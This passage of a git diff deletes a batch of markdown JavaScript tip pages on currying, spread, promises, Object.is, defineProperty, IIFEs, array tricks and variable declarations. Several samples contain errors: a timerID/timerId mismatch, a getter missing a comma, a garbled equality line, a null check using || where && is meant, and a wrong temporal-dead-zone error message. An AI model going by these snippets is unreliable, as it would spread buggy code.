-var str = JSON.stringify(obj, selectedProperties, '\t\t');
-
-/* str output with double tabs in every line.
-{
-        "prop1": "value1",
-        "prop2": "value2"
-}
-*/
-```
diff --git a/docs/content/dated/whatisacurrying.md b/docs/content/dated/whatisacurrying.md
deleted file mode 100644
index c528095786..0000000000
--- a/docs/content/dated/whatisacurrying.md
+++ /dev/null
@@ -1,31 +0,0 @@
----
-
-A currying function is a function that takes multiple arguments and turns it into a sequence of functions having only one argument at a time.
-
-In this way, an n-ary function becomes a unary function, and the last function returns the result of all the arguments together in a function.
-
-```js
-// Normal definition
-function multiply(a, b, c) {
-    return a * b * c;
-}
-console.log(multiply(1, 2, 3));
-// Output: 6
-
-// Simple curry function definition
-function multiply(a) {
-    return (b) => {
-        return (c) => {
-            return a * b * c;
-        };
-    };
-}
-console.log(multiply(1)(2)(3));
-// Output: 6
-```
-
-### Further readings:
-
--   [Currying in JavaScript](https://dev.to/suprabhasupi/currying-in-javascript-1k3l)
--   [Lodash curry](https://lodash.com/docs/#curry)
--   [JavaScript currying](http://zetcode.com/javascript/currying/)
diff --git a/docs/content/dated/whatisafunctional.md b/docs/content/dated/whatisafunctional.md
deleted file mode 100644
index f08c6dc7c4..0000000000
--- a/docs/content/dated/whatisafunctional.md
+++ /dev/null
@@ -1,30 +0,0 @@
----
-
-Functional inheritance is the process of inheriting features by applying an augmenting function to an object instance. The function supplies a closure scope which you can use to keep some data private. The augmenting function uses dynamic object extension to extend the object instance with new properties and methods.
-
-Functional mixins are composable factory functions that add properties and behaviors to objects like stations in an assembly line.
-
-```js
-// Base object constructor function
-function Animal(data) {
-    var that = {}; // Create an empty object
-    that.name = data.name; // Add it a "name" property
-    return that; // Return the object
-}
-
-// Create achild object, inheriting from the base Animal
-function Cat(data) {
-    // Create the Animal object
-    var that = Animal(data);
-    // Extend base object
-    that.sayHello = function () {
-        return "Hello, I'm " + that.name;
-    };
-    return that;
-}
-
-// Usage
-var myCat = Cat({ name: 'Rufi' });
-console.log(myCat.sayHello());
-// Output: "Hello, I'm Rufi"
-```
diff --git a/docs/content/dated/whatisaspread.md b/docs/content/dated/whatisaspread.md
deleted file mode 100644
index 2c5c9ef495..0000000000
--- a/docs/content/dated/whatisaspread.md
+++ /dev/null
@@ -1,36 +0,0 @@
----
-
-The spread operator in JavaScript is a useful syntax for adding elements to an array, combining arrays into one larger one, spreading an array inside the arguments of a function, and more.
-
-```js
-// Concatenating arrays and objects
-let arr1 = [1, 2, 3];
-let arr2 = [4, 5];
-let newArray = [...arr1, ...arr2];
-console.log(newArray);
-// Output: [ 1, 2, 3, 4, 5 ]
-
-// Copying array elements
-let arr = ['a', 'b', 'c'];
-let newArray = [...arr];
-console.log(newArray);
-// Output: ["a", "b", "c"]
-
-// Expanding arrays
-let arr = ['a', 'b'];
-let newArray = [...arr, 'c', 'd'];
-console.log(newArray);
-// Output: ["a", "b", "c", "d"]
-
-// Merging objects
-const userBasic = {
-    name: 'Jen',
-    age: 22
-};
-const userMoreInfo = {
-    country: 'Argentina',
-    city: 'Córdoba'
-};
-const user = { ...userBasic, ...userMoreInfo };
-// Output: {  name: "Jen",  age: 22, country: "Argentina", city: "Córdoba" }
-```
diff --git a/docs/content/dated/whatisavoid.md b/docs/content/dated/whatisavoid.md
deleted file mode 100644
index 5192fab2d8..0000000000
--- a/docs/content/dated/whatisavoid.md
+++ /dev/null
@@ -1,18 +0,0 @@
----
-The `void` operator returns an `undefined` value from an evaluated expression, or in other words; the `void` operator specifies an expression to be evaluated without returning a value. It is commonly used in client-side JavaScript, where the browser should not display the value.
----
-
-```js
-function getYear() {
-    return 2020;
-}
-
-console.log(getYear());
-// Output: 2020
-
-console.log(void getYear());
-// Output: undefined
-
-// Useful use case
-button.onclick = () => void getYear();
-```
diff --git a/docs/content/dated/whatisthejavascriptternary.md b/docs/content/dated/whatisthejavascriptternary.md
deleted file mode 100644
index b29b809b08..0000000000
--- a/docs/content/dated/whatisthejavascriptternary.md
+++ /dev/null
@@ -1,27 +0,0 @@
----
-layout: post
-
-    - en
-    - javascript
----
-
-The ternary operator is a shortcut for the `if` statement. It consists of three operands; a question mark, a condition, and an expression to execute if the condition is true, followed by a colon and another expression to execute if it's false.
-
-```js
-let age = 26;
-
-// condition ? expression if true : expression if false
-let drink = age >= 21 ? 'Beer' : 'Juice';
-
-console.log(drink); // "Beer"
-
-// Equivalent to:
-let drink;
-if (age >= 21) {
-    drink = 'Beer';
-} else {
-    drink = 'Juice';
-}
-
-console.log(drink); // "Beer"
-```
diff --git a/docs/content/dated/whatisthepromise.md b/docs/content/dated/whatisthepromise.md
deleted file mode 100644
index 406c15c7ea..0000000000
--- a/docs/content/dated/whatisthepromise.md
+++ /dev/null
@@ -1,19 +0,0 @@
----
-layout: post
-
-    - en
-    - javascript
----
-
-All `Promise` instances accept a method as an argument called the executor. This executor takes two methods as arguments: resolve and reject. Within the executor, if resolve is called, the `Promise` instance becomes fulfilled. If an exception is thrown, reject is called instead, and the `Promise` instance becomes rejected.
-
-```js
-const executor = (resolve, reject) => {
-    setTimeout(() => resolve("I'm done"), 1000);
-};
-
-new Promise(executor).then((result) => {
-    console.log(result);
-    // Output after 1000ms: I'm done
-});
-```
diff --git a/docs/content/dated/whatisthetemporaldeadzone.md b/docs/content/dated/whatisthetemporaldeadzone.md
deleted file mode 100644
index cd1fe3d1dc..0000000000
--- a/docs/content/dated/whatisthetemporaldeadzone.md
+++ /dev/null
@@ -1,23 +0,0 @@
----
-Temporal Dead Zone is a JavaScript behavior while using variables declared using `let` and `const` keywords. Since the keywords are block-scoped, the variables declared these keywords could not be accessed before the declaration, and then you will have to witness where variables will be said to be `undefined`.
----
-
-```js
-function myFunc() {
-    console.log(greeting);
-    var greeting = 'Hello World!';
-}
-myFunc(); // Output: undefined
-
-function myFunc() {
-    console.log(greeting);
-    let greeting = 'Hello World!';
-}
-myFunc(); // Output: ReferenceError: greeting is not defined
-
-function myFunc() {
-    console.log(greeting);
-    const greeting = 'Hello World!';
-}
-myFunc(); // Output: ReferenceError: greeting is not defined
-```
diff --git a/docs/content/dated/whyyoushoulduseObject.is()inequalitycomparison.md b/docs/content/dated/whyyoushoulduseObject.is()inequalitycomparison.md
deleted file mode 100644
index 147ff28460..0000000000
--- a/docs/content/dated/whyyoushoulduseObject.is()inequalitycomparison.md
+++ /dev/null
@@ -1,34 +0,0 @@
----
-
-We all know that JavaScript is loosely typed and in some cases it fall behind specially when it comes to quality comparison with '==', comparing with '==' gives unexpected results due to whats called coercion or casting "converting one of the 2 operands to the other's type then compare".
-
-```js
-0 == ' '; //true
-(null == undefined[1]) == //true
-    true; //true
-```
-
-So they provided us with the triple equal operator '===' which is more strict and does not coerce operands, However comparing with '===' is not the best solution you can get:
-
-```js
-NaN === NaN; //false
-```
-
-The great news that in ES6 there is the new 'Object.is()' which is better and more precise it has the same features as '===' and moreover it behaves well in some special cases:
-
-```js
-Object.is(0, ' '); //false
-Object.is(null, undefined); //false
-Object.is([1], true); //false
-Object.is(NaN, NaN); //true
-```
-
-Mozilla team doesn't think that Object.is is "stricter" than '===', they say that we should think of how this method deal with NaN, -0 and +0 but overall I think it is now a good practice in real applications.
-
-Now this table illustrates..
-
-![differences of operators in equality comparisons javascript](http://i.imgur.com/pCyqkLc.png)
-
-## References:
-
-[Equality comparisons and sameness](http://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness)
diff --git a/docs/content/dated/workingwithwebsocket.md b/docs/content/dated/workingwithwebsocket.md
deleted file mode 100644
index ecbd4af4f0..0000000000
--- a/docs/content/dated/workingwithwebsocket.md
+++ /dev/null
@@ -1,24 +0,0 @@
----
-
-In case of established websocket connection, server or firewall could timeout and terminate the connection after a period of inactivity. To deal with this situation, we send periodic message to the server. To control the timeout we will add two functions in our code : one to make sure connection keep alive and another one to cancel the keep alive. Also we need a common `timerID` variable.
-Let's have a look on implementation-
-
-```js
-var timerID = 0;
-function keepAlive() {
-    var timeout = 20000;
-    if (webSocket.readyState == webSocket.OPEN) {
-        webSocket.send('');
-    }
-    timerId = setTimeout(keepAlive, timeout);
-}
-function cancelKeepAlive() {
-    if (timerId) {
-        clearTimeout(timerId);
-    }
-}
-```
-
-Now as we have both of our desired function for the task, we will place `keepAlive()` function at the end of `onOpen()` method of websocket connection and `cancelKeepAlive()` function at the end of `onClose()` method of websocket connection.
-
-Yes! We have perfectly implemented hack for websocket timeout problem.
diff --git a/docs/content/dated/writingasinglemethodforarraysandasingle.md b/docs/content/dated/writingasinglemethodforarraysandasingle.md
deleted file mode 100644
index 2b5d00375b..0000000000
--- a/docs/content/dated/writingasinglemethodforarraysandasingle.md
+++ /dev/null
@@ -1,27 +0,0 @@
--   /en/writing-a-single-method-for-arrays-and-a-single-element/
-
-Rather than writing separate methods to handle an array and a single element parameter, write your functions so they can handle both. This is similar to how some of jQuery's functions work (`css` will modify everything matched by the selector).
-
-You just have to concat everything into an array first. `Array.concat` will accept an array or a single element.
-
----
-
-```js
-function printUpperCase(words) {
-    var elements = [].concat(words || []);
-    for (var i = 0; i < elements.length; i++) {
-        console.log(elements[i].toUpperCase());
-    }
-}
-```
-
-`printUpperCase` is now ready to accept a single node or an array of nodes as its parameter. It also avoids the potential `TypeError` that would be thrown if no parameter was passed.
-
-```js
-printUpperCase('cactus');
-// => CACTUS
-printUpperCase(['cactus', 'bear', 'potato']);
-// => CACTUS
-//  BEAR
-//  POTATO
-```
diff --git a/docs/content/js-topics/DOM-event-listening-made.md b/docs/content/js-topics/DOM-event-listening-made.md
deleted file mode 100644
index cec4e59e2c..0000000000
--- a/docs/content/js-topics/DOM-event-listening-made.md
+++ /dev/null
@@ -1,72 +0,0 @@
-title: DOM event listening made easy
-tip-number: 51
-tip-username: octopitus
-tip-username-profile: https://github.com/octopitus
-tip-tldr: An elegant and easy way to handle DOM events
-
--   /en/DOM-event-listening-made-easy/
-
-Many of us are still doing these things:
-
--   `element.addEventListener('type', obj.method.bind(obj))`
--   `element.addEventListener('type', function (event) {})`
--   `element.addEventListener('type', (event) => {})`
-
-The above examples all create new anonymous event handlers that can't be removed when no longer needed. This may cause performance problems or unexpected logic bugs, when handlers that you no longer need still get accidentally triggered through unexpected user interactions or [event bubbling](http://www.javascripter.net/faq/eventbubbling.htm).
-
-Safer event-handling patterns include the following:
-
-Use a reference:
-
-```js
-const handler = function () {
-    console.log('Tada!');
-};
-element.addEventListener('click', handler);
-// Later on
-element.removeEventListener('click', handler);
-```
-
-Named function that removes itself:
-
-```js
-element.addEventListener('click', function click(e) {
-    if (someCondition) {
-        return e.currentTarget.removeEventListener('click', click);
-    }
-});
-```
-
-A better approach:
-
----
-
-```js
-function handleEvent(eventName, { onElement, withCallback, useCapture = false } = {}, thisArg) {
-    const element = onElement || document.documentElement;
-
-    function handler(event) {
-        if (typeof withCallback === 'function') {
-            withCallback.call(thisArg, event);
-        }
-    }
-
-    handler.destroy = function () {
-        return element.removeEventListener(eventName, handler, useCapture);
-    };
-
-    element.addEventListener(eventName, handler, useCapture);
-    return handler;
-}
-
-// Anytime you need
-const handleClick = handleEvent('click', {
-    onElement: element,
-    withCallback: (event) => {
-        console.log('Tada!');
-    }
-});
-
-// And anytime you want to remove it
-handleClick.destroy();
-```
diff --git a/docs/content/js-topics/Object.is()-in-equality.md b/docs/content/js-topics/Object.is()-in-equality.md
deleted file mode 100644
index 8356d7a179..0000000000
--- a/docs/content/js-topics/Object.is()-in-equality.md
+++ /dev/null
@@ -1,42 +0,0 @@
-title: Why you should use Object.is() in equality comparison
-tip-number: 68
-tip-username: TarekAlQaddy
-tip-username-profile: https://github.com/TarekAlQaddy
-tip-tldr: A good solution for the looseness of equality comparisons in javascript
-
-categories: - en - javascript
-
----
-
-We all know that JavaScript is loosely typed and in some cases it fall behind specially when it comes to quality comparison with '==', comparing with '==' gives unexpected results due to whats called coercion or casting "converting one of the 2 operands to the other's type then compare".
-
-```js
-0 == ' '; //true
-(null == undefined[1]) == //true
-    true; //true
-```
-
-So they provided us with the triple equal operator '===' which is more strict and does not coerce operands, However comparing with '===' is not the best solution you can get:
-
-```js
-NaN === NaN; //false
-```
-
-The great news that in ES6 there is the new 'Object.is()' which is better and more precise it has the same features as '===' and moreover it behaves well in some special cases:
-
-```js
-Object.is(0, ' '); //false
-Object.is(null, undefined); //false
-Object.is([1], true); //false
-Object.is(NaN, NaN); //true
-```
-
-Mozilla team doesn't think that Object.is is "stricter" than '===', they say that we should think of how this method deal with NaN, -0 and +0 but overall I think it is now a good practice in real applications.
-
-Now this table illustrates..
-
-![differences of operators in equality comparisons javascript](http://i.imgur.com/pCyqkLc.png)
-
-## References:
-
-[Equality comparisons and sameness](http://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness)
diff --git a/docs/content/js-topics/Using-immediately-invoked-function.md b/docs/content/js-topics/Using-immediately-invoked-function.md
deleted file mode 100644
index 565400c9f4..0000000000
--- a/docs/content/js-topics/Using-immediately-invoked-function.md
+++ /dev/null
@@ -1,38 +0,0 @@
-title: Using immediately invoked function expression
-tip-number: 25
-tip-username: rishantagarwal
-tip-username-profile: https://github.com/rishantagarwal
-tip-tldr: Called as "Iffy" ( IIFE - immediately invoked function expression) is an anonymous function expression that is immediately invoked and has some important uses in Javascript.
-
--   /en/Using-immediately-invoked-function-expression/
-
-Called as "Iffy" ( IIFE - immediately invoked function expression) is an anonymous function expression that is immediately invoked and has some important uses in Javascript.
-
-```js
-(function () {
-    // Do something​
-})();
-```
-
-It is an anonymous function expression that is immediately invoked, and it has some particularly important uses in JavaScript.
-
-The pair of parenthesis surrounding the anonymous function turns the anonymous function into a function expression or variable expression. So instead of a simple anonymous function in the global scope, or wherever it was defined, we now have an unnamed function expression.
-
-Similarly, we can even create a named, immediately invoked function expression:
-
-```js
-(someNamedFunction = function(msg) {
-	console.log(msg || "Nothing for today !!")
-	}) (); // Output --> Nothing for today !!​
-​
-someNamedFunction("Javascript rocks !!"); // Output --> Javascript rocks !!
-someNamedFunction(); // Output --> Nothing for today !!​
-```
-
-For more details, check the following URL's -
-
-1. [Link 1](https://blog.mariusschulz.com/2016/01/13/disassembling-javascripts-iife-syntax)
-2. [Link 2](http://javascriptissexy.com/12-simple-yet-powerful-javascript-tips/)
-
-Performance:
-[jsPerf](http://jsperf.com/iife-with-call)
diff --git a/docs/content/js-topics/advancedproperties.md b/docs/content/js-topics/advancedproperties.md
deleted file mode 100644
index b0e8da213d..0000000000
--- a/docs/content/js-topics/advancedproperties.md
+++ /dev/null
@@ -1,115 +0,0 @@
-title: Advanced Javascript Properties
-tip-number: 39
-tip-username: mallowigi
-tip-username-profile: https://github.com/mallowigi
-tip-tldr: How to add private properties, getters and setters to objects.
-
--   /en/advanced-properties/
-
-It is possible to configure object properties in Javascript for example to set properties to be pseudo-private or readonly. This feature is available since ECMAScript 5.1, therefore supported by all recent browsers.
-
-To do so, you need to use the method `defineProperty` of the `Object` prototype like so:
-
-```js
-var a = {};
-Object.defineProperty(a, 'readonly', {
-    value: 15,
-    writable: false
-});
-
-a.readonly = 20;
-console.log(a.readonly); // 15
-```
-
-The syntax is as follows:
-
-```js
-Object.defineProperty(dest, propName, options);
-```
-
-or for multiple definitions:
-
-```js
-Object.defineProperties(dest, {
-    propA: optionsA,
-    propB: optionsB //...
-});
-```
-
-where options include the following attributes:
-
--   _value_: if the property is not a getter (see below), value is a mandatory attribute. `{a: 12}` === `Object.defineProperty(obj, 'a', {value: 12})`
--   _writable_: set the property as readonly. Note that if the property is a nested objects, its properties are still editable.
--   _enumerable_: set the property as hidden. That means that `for ... of` loops and `stringify` will not include the property in their result, but the property is still there. Note: That doesn't mean that the property is private! It can still be accessible from the outside, it just means that it won't be printed.
--   _configurable_: set the property as non modifiable, e.g. protected from deletion or redefinition. Again, if the property is a nested object, its properties are still configurable.
-
-So in order to create a private constant property, you can define it like so:
-
-```js
-Object.defineProperty(obj, 'myPrivateProp', { value: val, enumerable: false, writable: false, configurable: false });
-```
-
-Besides configuring properties, `defineProperty` allows us to define _dynamic properties_, thanks to the second parameter being a string. For instance, let's say that I want to create properties according to some external configuration:
-
-```js
-
-var obj = {
-  getTypeFromExternal(): true // illegal in ES5.1
-}
-
-Object.defineProperty(obj, getTypeFromExternal(), {value: true}); // ok
-
-// For the example sake, ES6 introduced a new syntax:
-var obj = {
-  [getTypeFromExternal()]: true
-}
-```
-
-But that's not all! Advanced properties allows us to create **getters** and **setters**, just like other OOP languages! In that case, one cannot use the `writable`, `enumerable` and `configurable` properties, but instead:
-
----
-
-```js
-
-
-function Foobar () {
-  var _foo; //  true private property
-
-  Object.defineProperty(obj, 'foo', {
-    get: function () { return _foo; }
-    set: function (value) { _foo = value }
-  });
-
-}
-
-var foobar = new Foobar();
-foobar.foo; // 15
-foobar.foo = 20; // _foo = 20
-```
-
-Aside for the obvious advantage of encapsulation and advanced accessors, you will notice that we didn't "call" the getter, instead we just "get" the property without parentheses! This is awesome! For instance, let's imagine that we have an object with long nested properties, like so:
-
-```js
-var obj = { a: { b: { c: [{ d: 10 }, { d: 20 }] } } };
-```
-
-Now instead of doing `a.b.c[0].d` (where one of the properties can resolve to `undefined` and throw an error), we can instead create an alias:
-
-```js
-Object.defineProperty(obj, 'firstD', {
-    get: function () {
-        return a && a.b && a.b.c && a.b.c[0] && a.b.c[0].d;
-    }
-});
-
-console.log(obj.firstD); // 10
-```
-
-### Note
-
-If you define a getter without a setter and still try to set a value, you will get an error! This is particularly important when using helper functions such as `$.extend` or `_.merge`. Be careful!
-
-### Links
-
--   [defineProperty](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty)
--   [Defining properties in JavaScript](http://bdadam.com/blog/defining-properties-in-javascript.html)
diff --git a/docs/content/js-topics/array.md b/docs/content/js-topics/array.md
deleted file mode 100644
index 565adf9dc6..0000000000
--- a/docs/content/js-topics/array.md
+++ /dev/null
@@ -1,9 +0,0 @@
-title: 3 Array Hacks
-tip-number: 64
-tip-username: hassanhelfi
-tip-username-profile: https://twitter.com/hassanhelfi
-tip-tldr: Arrays are everywhere and with the new spread operators introduced in ECMAScript 6, you can do awesome things with them. In this post I will show you 3 useful tricks you can use when programming.
-
-categories: - en - javascript
-
----
diff --git a/docs/content/js-topics/arrayaverageandmedian.md b/docs/content/js-topics/arrayaverageandmedian.md
deleted file mode 100644
index 9afa0e5581..0000000000
--- a/docs/content/js-topics/arrayaverageandmedian.md
+++ /dev/null
@@ -1,59 +0,0 @@
-title: Array average and median
-tip-number: 41
-tip-username: soyuka
-tip-username-profile: https://github.com/soyuka
-tip-tldr: Calculate the average and median from array values
-
--   /en/array-average-and-median/
-
-The following examples will be based on the following array:
-
-```js
-let values = [2, 56, 3, 41, 0, 4, 100, 23];
-```
-
-To get the average, we have to sum up numbers and then divide by the number of values. Steps are:
-
--   get the array length
--   sum up values
--   get the average (`sum/length`)
-
-```js
-let values = [2, 56, 3, 41, 0, 4, 100, 23];
-let sum = values.reduce((previous, current) => (current += previous));
-let avg = sum / values.length;
-// avg = 28
-```
-
-Or:
-
-```js
-let values = [2, 56, 3, 41, 0, 4, 100, 23];
-let count = values.length;
-values = values.reduce((previous, current) => (current += previous));
-values /= count;
-// avg = 28
-```
-
-Now, to get the median steps are:
-
--   sort the array
--   get the arethmic mean of the middle values
-
-```js
-let values = [2, 56, 3, 41, 0, 4, 100, 23];
-values.sort((a, b) => a - b);
-let lowMiddle = Math.floor((values.length - 1) / 2);
-let highMiddle = Math.ceil((values.length - 1) / 2);
-let median = (values[lowMiddle] + values[highMiddle]) / 2;
-// median = 13,5
-```
-
-With a bitwise operator:
-
-```js
-let values = [2, 56, 3, 41, 0, 4, 100, 23];
-values.sort((a, b) => a - b);
-let median = (values[(values.length - 1) >> 1] + values[values.length >> 1]) / 2;
-// median = 13,5
-```
diff --git a/docs/content/js-topics/arrayhacks.md b/docs/content/js-topics/arrayhacks.md
deleted file mode 100644
index ff8ea0b521..0000000000
--- a/docs/content/js-topics/arrayhacks.md
+++ /dev/null
@@ -1,67 +0,0 @@
-title: 3 Array Hacks
-tip-number: 64
-tip-username: hassanhelfi
-tip-username-profile: https://twitter.com/hassanhelfi
-tip-tldr: Arrays are everywhere and with the new spread operators introduced in ECMAScript 6, you can do awesome things with them. In this post I will show you 3 useful tricks you can use when programming.
-
-categories: - en - javascript
-
----
-
-Arrays are everywhere in JavaScript and with the new [spread operators](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Operators/Spread_operator) introduced in ECMAScript 6, you can do awesome things with them. In this post I will show you 3 useful tricks you can use when programming.
-
-### 1. Iterating through an empty array
-
-JavaScript arrays are sparse in nature in that there are a lot of holes in them. Try creating an array using the Array's constructor and you will see what I mean.
-
-```js
-> const arr = new Array(4);
-[undefined, undefined, undefined, undefined]
-```
-
-You may find that iterating over a sparse array to apply a certain transformation is hard.
-
-```js
-> const arr = new Array(4);
-> arr.map((elem, index) => index);
-[undefined, undefined, undefined, undefined]
-```
-
-To solve this, you can use `Array.apply` when creating the array.
-
-```js
-> const arr = Array.apply(null, new Array(4));
-> arr.map((elem, index) => index);
-[0, 1, 2, 3]
-```
-
-### 2. Passing an empty parameter to a method
-
-If you want to call a method and ignore one of its parameters, then JavaScript will complain if you keep it empty.
-
-```js
-> method('parameter1', , 'parameter3');
-Uncaught SyntaxError: Unexpected token ,
-```
-
-A workaround that people usually resort to is to pass either `null` or `undefined`.
-
-```js
-> method('parameter1', null, 'parameter3') // or
-> method('parameter1', undefined, 'parameter3');
-```
-
-I personally don't like using `null` since JavaScript treats it as an object and that's just weird. With the introduction of spread operators in ES6, there is a neater way of passing empty parameters to a method. As previously mentioned, arrays are sparse in nature and so passing empty values to it is totally okay. We'll use this to our advantage.
-
-```js
-> method(...['parameter1', , 'parameter3']); // works!
-```
-
-### 3. Unique array values
-
-I always wonder why the Array constructor does not have a designated method to facilitate the use of unique array values. Spread operators are here for the rescue. Use spread operators with the `Set` constructor to generate unique array values.
-
-```js
-> const arr = [...new Set([1, 2, 3, 3])];
-[1, 2, 3]
-```
diff --git a/docs/content/js-topics/assignmentshorthands.md b/docs/content/js-topics/assignmentshorthands.md
deleted file mode 100644
index 9faf34ffab..0000000000
--- a/docs/content/js-topics/assignmentshorthands.md
+++ /dev/null
@@ -1,120 +0,0 @@
-title: Assignment Operators
-tip-number: 35
-tip-username: hsleonis
-tip-username-profile: https://github.com/hsleonis
-tip-tldr: Assigning is very common. Sometimes typing becomes time consuming for us 'Lazy programmers'. So, we can use some tricks to help us and make our code cleaner and simpler.
-
--   /en/assignment-shorthands/
-
-Assigning is very common. Sometimes typing becomes time consuming for us 'Lazy programmers'.
-So, we can use some tricks to help us and make our code cleaner and simpler.
-
-This is the similar use of
-
-```js
-x += 23; // x = x + 23;
-y -= 15; // y = y - 15;
-z *= 10; // z = z * 10;
-k /= 7; // k = k / 7;
-p %= 3; // p = p % 3;
-d **= 2; // d = d ** 2;
-m >>= 2; // m = m >> 2;
-n <<= 2; // n = n << 2;
-n++; // n = n + 1;
-n--;
-n = n - 1;
-```
-
-### `++` and `--` operators
-
-There is a special `++` operator. It's best to explain it with an example:
-
-```js
-var a = 2;
-var b = a++;
-// Now a is 3 and b is 2
-```
-
-The `a++` statement does this:
-
-1. return the value of `a`
-2. increment `a` by 1
-
-But what if we wanted to increment the value first? It's simple:
-
-```js
-var a = 2;
-var b = ++a;
-// Now both a and b are 3
-```
-
-See? I put the operator _before_ the variable.
-
-The `--` operator is similar, except it decrements the value.
-
-### If-else (Using ternary operator)
-
-This is what we write on regular basis.
-
-```js
-var newValue;
-if (value > 10) newValue = 5;
-else newValue = 2;
-```
-
-We can user ternary operator to make it awesome:
-
-```js
-var newValue = value > 10 ? 5 : 2;
-```
-
-### Null, Undefined, Empty Checks
-
-```js
-if (variable1 !== null || variable1 !== undefined || variable1 !== '') {
-    var variable2 = variable1;
-}
-```
-
-Shorthand here:
-
-```js
-var variable2 = variable1 || '';
-```
-
-P.S.: If variable1 is a number, then first check if it is 0.
-
-### Object Array Notation
-
-Instead of using:
-
-```js
-var a = new Array();
-a[0] = 'myString1';
-a[1] = 'myString2';
-```
-
-Use this:
-
-```js
-var a = ['myString1', 'myString2'];
-```
-
-### Associative array
-
-Instead of using:
-
-```js
-var skillSet = new Array();
-skillSet['Document language'] = 'HTML5';
-skillSet['Styling language'] = 'CSS3';
-```
-
-Use this:
-
-```js
-var skillSet = {
-    'Document language': 'HTML5',
-    'Styling language': 'CSS3'
-};
-```
diff --git "a/docs/content/js-topics/avoidmodifyingorpassingargumentsintootherfunctions\342\200\224itkills.md" "b/docs/content/js-topics/avoidmodifyingorpassingargumentsintootherfunctions\342\200\224itkills.md"
deleted file mode 100644
index 413143ca34..0000000000
--- "a/docs/content/js-topics/avoidmodifyingorpassingargumentsintootherfunctions\342\200\224itkills.md"
+++ /dev/null
@@ -1,38 +0,0 @@
-title: Avoid modifying or passing `arguments` into other functions — it kills optimization
-tip-number: 31
-tip-username: berkana
-tip-username-profile: https://github.com/berkana
-tip-tldr: Within JavaScript functions, the variable name `arguments` lets you access all of the arguments passed to the function. `arguments` is an _array-like object_; `arguments` can be accessed using array notation, and it has the _length_ property, but it doesn't have many of the built-in methods that arrays have such as `filter` and `map` and `forEach`. Because of this, it is a fairly common practice to convert `arguments` into an array using the following snipet
-
--   /en/avoid-modifying-or-passing-arguments-into-other-functions-it-kills-optimization/
-
-###Background
-
-Within JavaScript functions, the variable name [`arguments`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments) lets you access all of the arguments passed to the function. `arguments` is an _array-like object_; `arguments` can be accessed using array notation, and it has the _length_ property, but it doesn't have many of the built-in methods that arrays have such as `filter` and `map` and `forEach`. Because of this, it is a fairly common practice to convert `arguments` into an array using the following:
-
-```js
-var args = Array.prototype.slice.call(arguments);
-```
-
-This calls the `slice` method from the `Array` prototype, passing it `arguments`; the `slice` method returns a shallow copy of `arguments` as a new array object. A common shorthand for this is :
-
-```js
-var args = [].slice.call(arguments);
-```
-
-In this case, instead of calling `slice` from the `Array` prototype, it is simply being called from an empty array literal.
-
-###Optimization
-
-Unfortunately, passing `arguments` into any function call will cause the V8 JavaScript engine used in Chrome and Node to skip optimization on the function that does this, which can result in considerably slower performance. See this article on [optimization killers](https://github.com/petkaantonov/bluebird/wiki/Optimization-killers). Passing `arguments` to any other function is known as _leaking `arguments`_.
-
-Instead, if you want an array of the arguments that lets you use you need to resort to this:
-
-```js
-var args = new Array(arguments.length);
-for (var i = 0; i < args.length; ++i) {
-    args[i] = arguments[i];
-}
-```
-
-Yes it is more verbose, but in production code, it is worth it for the performance optimization.
diff --git a/docs/content/js-topics/basics.md b/docs/content/js-topics/basics.md
deleted file mode 100644
index 5aa5689ef8..0000000000
--- a/docs/content/js-topics/basics.md
+++ /dev/null
@@ -1,9 +0,0 @@
-title: Basics declarations
-tip-number: 47
-tip-username: adaniloff
-tip-username-profile: https://github.com/adaniloff
-tip-tldr: Understand and work with declarations.
-
--   /en/basics-declarations/
-
-Special thanks to @kurtextrem for his collaboration :)!
diff --git a/docs/content/js-topics/basicsdeclarations.md b/docs/content/js-topics/basicsdeclarations.md
deleted file mode 100644
index ccb0df9f6b..0000000000
--- a/docs/content/js-topics/basicsdeclarations.md
+++ /dev/null
@@ -1,81 +0,0 @@
-title: Basics declarations
-tip-number: 47
-tip-username: adaniloff
-tip-username-profile: https://github.com/adaniloff
-tip-tldr: Understand and work with declarations.
-
--   /en/basics-declarations/
-
-Below, different ways to declare variables in JavaScript.
-Comments and console.log should be enough to explain what's happening here:
-
-```js
-var y,
-    x = (y = 1); //== var x; var y; x = y = 1
-console.log('--> 1:', `x = ${x}, y = ${y}`);
-
-// Will print
-//--> 1: x = 1, y = 1
-```
-
-First, we just set two variables. Nothing much here.
-
-```js
-(() => {
-    var x = (y = 2); // == var x; x = y = 2;
-    console.log('2.0:', `x = ${x}, y = ${y}`);
-})();
-console.log('--> 2.1:', `x = ${x}, y = ${y}`);
-
-// Will print
-//2.0: x = 2, y = 2
-//--> 2.1: x = 1, y = 2
-```
-
-As you can see, the code has only changed the global y, as we haven't declared the variable in the closure.
-
-```js
-(() => {
-    var x,
-        y = 3; // == var x; var y = 3;
-    console.log('3.0:', `x = ${x}, y = ${y}`);
-})();
-console.log('--> 3.1:', `x = ${x}, y = ${y}`);
-
-// Will print
-//3.0: x = undefined, y = 3
-//--> 3.1: x = 1, y = 2
-```
-
-Now we declare both variables through var. Meaning they only live in the context of the closure.
-
-```js
-(() => {
-    var y,
-        x = (y = 4); // == var x; var y; x = y = 4
-    console.log('4.0:', `x = ${x}, y = ${y}`);
-})();
-console.log('--> 4.1:', `x = ${x}, y = ${y}`);
-
-// Will print
-//4.0: x = 4, y = 4
-//--> 4.1: x = 1, y = 2
-```
-
-Both variables have been declared using var and only after that we've set their values. As local > global, x and y are local in the closure, meaning the global x and y are untouched.
-
-```js
-x = 5; // == x = 5
-console.log('--> 5:', `x = ${x}, y = ${y}`);
-
-// Will print
-//--> 5: x = 5, y = 2
-```
-
-This last line is explicit by itself.
-
